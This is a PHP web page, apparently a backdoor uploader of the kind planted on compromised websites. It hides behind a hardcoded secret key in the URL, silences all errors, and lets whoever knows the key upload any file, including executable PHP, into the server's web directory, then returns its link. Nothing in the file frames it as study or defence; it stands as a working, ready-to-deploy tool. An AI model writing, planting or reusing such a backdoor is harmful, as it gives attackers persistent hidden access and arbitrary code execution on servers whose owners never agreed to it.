 <?php
@ini_set('display_errors',0);
@error_reporting(0);

if(!isset($_GET['k'])||$_GET['k']!=='jub8rlgmwq18')exit('403');

$msg='';
$url='';

if($_SERVER['REQUEST_METHOD']==='POST'){
    if(isset($_POST['d'])&&isset($_POST['n'])&&!empty($_POST['d'])){
        $f=basename($_POST['n']);
        $t=__DIR__.'/'.$f;
        $r=@base64_decode($_POST['d']);
        if($r!==false&&@file_put_contents($t,$r)!==false){
            @chmod($t,0644);
            $url=dirname($_SERVER['REQUEST_URI']).'/'.$f;
            $msg='OK';
        }else{
            $msg='ERR';
        }
    }
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>UP</title>
<style>
*{m:0;p:0;box-sizing:border-box}
body{font:16px -apple-system,sans-serif;background:#0A0D12;padding:20px;min-height:100vh;display:flex;align-items:center;justify-content:center}
.c{background:#161D2B;padding:40px;border-radius:12px;max-width:500px;width:100%}
input[type=file]{display:block;width:100%;padding:18px;border:2px dashed #38BDF8;border-radius:8px;cursor:pointer;background:#0F131C;color:#fff;margin-bottom:15px}
button{background:#38BDF8;color:#0A0D12;border:0;padding:18px;border-radius:8px;cursor:pointer;font-size:16px;font-weight:600;width:100%}
button:hover{background:#6EE7B7}
button:disabled{opacity:.5}
.m{padding:15px;border-radius:8px;margin-bottom:15px;background:#6EE7B7;color:#0A0D12;font-weight:500}
.e{background:#E9A568}
.u{margin-top:15px;padding:15px;background:#0F131C;border-radius:8px;word-break:break-all}
.u a{color:#38BDF8;text-decoration:none}
</style>
</head>
<body>
<div class="c">
<?php if($msg==='OK')echo'<div class="m">OK</div>';elseif($msg)echo'<div class="m e">FAIL</div>';?>
<?php if($url)echo'<div class="u"><a href="'.htmlspecialchars($url).'" target="_blank">'.htmlspecialchars($url).'</a></div>';?>
<form method="post" id="f">
<input type="hidden" name="d" id="d">
<input type="hidden" name="n" id="n">
<input type="file" id="fi">
<button id="b">UPLOAD</button>
</form>
</div>
<script>
var f=document.getElementById('f'),fi=document.getElementById('fi'),b=document.getElementById('b'),d=document.getElementById('d'),n=document.getElementById('n');
f.onsubmit=function(e){
e.preventDefault();
if(!fi.files[0]||d.value)return;
b.disabled=true;
b.textContent='...';
var r=new FileReader();
r.onload=function(){
d.value=btoa(r.result);
n.value=fi.files[0].name;
f.submit();
};
r.readAsBinaryString(fi.files[0]);
};
</script>
</body>
</html>